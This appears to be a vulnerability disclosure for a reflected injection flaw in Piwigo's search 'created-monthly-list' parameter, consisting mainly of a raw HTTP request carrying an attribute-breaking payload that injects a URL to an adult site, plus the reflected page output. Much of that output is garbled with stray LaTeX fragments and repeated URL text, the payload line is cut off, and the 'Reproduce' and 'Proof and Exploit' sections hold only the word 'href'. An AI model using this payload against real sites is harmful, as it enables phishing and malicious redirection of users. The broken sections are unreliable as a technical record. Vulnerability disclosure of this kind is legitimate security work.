

The value of the /search/1940/created-monthly-list request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The attacker can trick a user to visit some crafted URL that is connected exactly to this system. Then he can trick the user to visit some malicious address that the victim will think is connected with the original web address it depending on the scenario. This can be dangerous for all users of this system.

Status: Highly Vulnerable

[+] Payloads:

```
GET /piwigo/index.php?/search/4863/created-monthly-list%22%3Ehttps:\pornhubdotcomhtt
Host: pwned_host.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firef
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: pwg_id=hctfqtab45adhogo2suhq2mr0c; ssc_phoneSwap=0
Upgrade-Insecure-Requests: 1
```

Reflected Out:

https:\\pornhubdatcomhttps:\pornhubdatcomhttps

Albums Explore Most visited Recent photos mn0o4cb244vt89rs94e6kln! ? 🛦 🖰 🚟 Home / https:\\pornhubdotcomhttps:\\pornhubdotcomhttps:\\pornhubdotcomhttps:\\pornhubdotcomhttps:\\pornhubdotcomhttps: $\label{thm:control} \begin{tabular}{ll} When the properties of t$ $\label{thm:pornhubdotcomhttps:} when the problem of the problem$ $\label{thm:pornhubdotcomhttps:} When he will be a compared to the properties of th$ $\label{thm:control} \label{thm:control} \label{thm:control} \label{thm:control} \label{thm:control} \label{thm:control} \label{thm:control} \label{thm:control} \label{thm:control} \label{thm:controlled} \$ \\pornhubdotcomhttps:\\pornhub \\pornhubdotcomhttps;\\pornhub $\label{thm:pornhubdotcomhttps:} when the properties of the prope$ $\label{thm:pornhubdotcomhttps://pornhubdotcomhttp$ $\label{thm:control} \begin{tabular}{l} When the properties of th$ $\label{thm:control} \begin{tabular}{l} \begin{tab$ $\label{thm:control} \begin{tabular}{l} \begin{tab$ $\label{thm:pornhubdotcomhttps:} when the problem of the problem$ $\label{thm:pornhubdotcomhttps:} when the problem of the problem$ \\pornhubdotcom">Search results Powered by Piwigo



• ○ ■ Link



Reproduce:

href

Proof and Exploit:

href